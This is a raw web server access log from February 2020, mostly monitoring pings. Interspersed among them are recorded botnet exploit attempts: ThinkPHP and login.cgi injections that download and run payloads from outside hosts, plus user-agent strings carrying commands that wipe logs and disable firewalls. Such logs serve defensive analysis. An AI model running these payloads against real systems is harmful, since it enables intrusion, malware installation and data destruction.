212.91.246.72 - - [18/Feb/2020:12:33:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:12:34:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
190.28.111.56 - - [18/Feb/2020:12:34:40 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://scan.casualaffinity.net/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
212.91.246.72 - - [18/Feb/2020:12:35:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
34.218.81.75 - - [18/Feb/2020:12:36:20 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.109 Safari/537.36"
212.91.246.72 - - [18/Feb/2020:12:36:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
221.125.44.233 - - [18/Feb/2020:12:36:58 +0100] "GET /login.cgi?cli=aa%20aa%27;rm -rf /tmp/ff;wget%20http://158.69.236.40/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 404 310 "-" "DEMONS/2.0"
188.186.182.56 - - [18/Feb/2020:12:37:31 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [18/Feb/2020:12:37:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:12:38:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
61.219.11.153 - - [18/Feb/2020:12:38:41 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [18/Feb/2020:12:39:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
94.76.178.8 - - [18/Feb/2020:12:39:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [18/Feb/2020:12:40:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:12:41:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:12:42:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
109.201.179.21 - - [18/Feb/2020:12:43:17 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [18/Feb/2020:12:43:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:12:44:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
176.125.65.214 - - [18/Feb/2020:12:45:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [18/Feb/2020:12:45:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
72.44.25.87 - - [18/Feb/2020:12:45:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
61.219.11.153 - - [18/Feb/2020:12:46:02 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [18/Feb/2020:12:46:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:12:47:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
61.219.11.153 - - [18/Feb/2020:12:48:08 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
35.225.21.27 - - [18/Feb/2020:12:48:29 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [18/Feb/2020:12:48:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:12:49:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:12:50:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.57.40.38 - - [18/Feb/2020:12:51:03 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [18/Feb/2020:12:51:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:12:52:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:12:53:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:12:54:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:12:55:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:12:56:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:12:57:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
88.247.50.184 - - [18/Feb/2020:12:57:57 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [18/Feb/2020:12:58:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
190.124.162.73 - - [18/Feb/2020:12:59:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [18/Feb/2020:12:59:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:13:00:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
36.78.26.21 - - [18/Feb/2020:13:01:18 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [18/Feb/2020:13:01:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
81.215.212.192 - - [18/Feb/2020:13:01:39 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [18/Feb/2020:13:02:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:13:03:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:13:04:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
190.210.223.222 - - [18/Feb/2020:13:04:51 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [18/Feb/2020:13:05:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:13:06:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
27.216.245.215 - - [18/Feb/2020:13:06:49 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
78.169.118.134 - - [18/Feb/2020:13:07:23 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [18/Feb/2020:13:07:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:13:08:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:13:09:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:13:10:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:13:11:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:13:12:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:13:13:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:13:14:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:13:15:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:13:16:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:13:17:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:13:18:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:13:19:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:13:20:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.57.40.38 - - [18/Feb/2020:13:20:45 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
43.239.154.187 - - [18/Feb/2020:13:20:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [18/Feb/2020:13:21:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:13:22:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:13:23:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:13:24:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:13:25:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:13:26:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:13:27:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:13:28:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
80.26.154.92 - - [18/Feb/2020:13:28:52 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [18/Feb/2020:13:29:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:13:30:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:13:31:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:13:32:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
109.162.175.104 - - [18/Feb/2020:13:32:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [18/Feb/2020:13:33:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:13:34:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:13:35:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:13:36:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:13:37:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:13:38:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:13:39:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:13:40:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
34.217.89.89 - - [18/Feb/2020:13:40:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.109 Safari/537.36"
212.91.246.72 - - [18/Feb/2020:13:41:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:13:42:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:13:43:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.191.197.231 - - [18/Feb/2020:13:43:58 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [18/Feb/2020:13:44:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:13:45:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
218.63.72.113 - - [18/Feb/2020:13:46:20 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
88.236.4.229 - - [18/Feb/2020:13:46:34 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [18/Feb/2020:13:46:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:13:47:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
93.174.95.106 - - [18/Feb/2020:13:47:57 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36"
93.174.95.106 - - [18/Feb/2020:13:47:58 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "-"
93.174.95.106 - - [18/Feb/2020:13:47:58 +0100] "GET /sitemap.xml HTTP/1.1" 404 316 "-" "-"
93.174.95.106 - - [18/Feb/2020:13:47:58 +0100] "GET /.well-known/security.txt HTTP/1.1" 404 329 "-" "-"
93.174.95.106 - - [18/Feb/2020:13:47:59 +0100] "GET /favicon.ico HTTP/1.1" 404 316 "-" "python-requests/2.22.0"
212.91.246.72 - - [18/Feb/2020:13:48:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
201.238.155.161 - - [18/Feb/2020:13:48:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [18/Feb/2020:13:49:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
37.187.30.122 - - [18/Feb/2020:13:50:07 +0100] "GET / HTTP/1.1" 200 1229 "-" "python-requests/2.22.0"
117.0.196.128 - - [18/Feb/2020:13:50:08 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [18/Feb/2020:13:50:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
120.193.219.42 - - [18/Feb/2020:13:51:35 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [18/Feb/2020:13:51:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:13:52:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:13:53:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:13:54:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:13:55:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:13:56:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.179.217.216 - - [18/Feb/2020:13:57:13 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
151.73.12.30 - - [18/Feb/2020:13:57:23 +0100] "GET /shell?cd+/tmp;rm+-rf+.j;wget+http:/\\/91.92.66.124/..j/.j;chmod+777+.j;sh+.j;echo+DONE HTTP/1.1" 400 329 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36"
212.91.246.72 - - [18/Feb/2020:13:57:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
109.201.179.21 - - [18/Feb/2020:13:58:29 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [18/Feb/2020:13:58:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:13:59:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
81.16.119.96 - - [18/Feb/2020:13:59:48 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
81.16.119.96 - - [18/Feb/2020:13:59:52 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
81.16.119.96 - - [18/Feb/2020:13:59:58 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
81.16.119.96 - - [18/Feb/2020:14:00:10 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
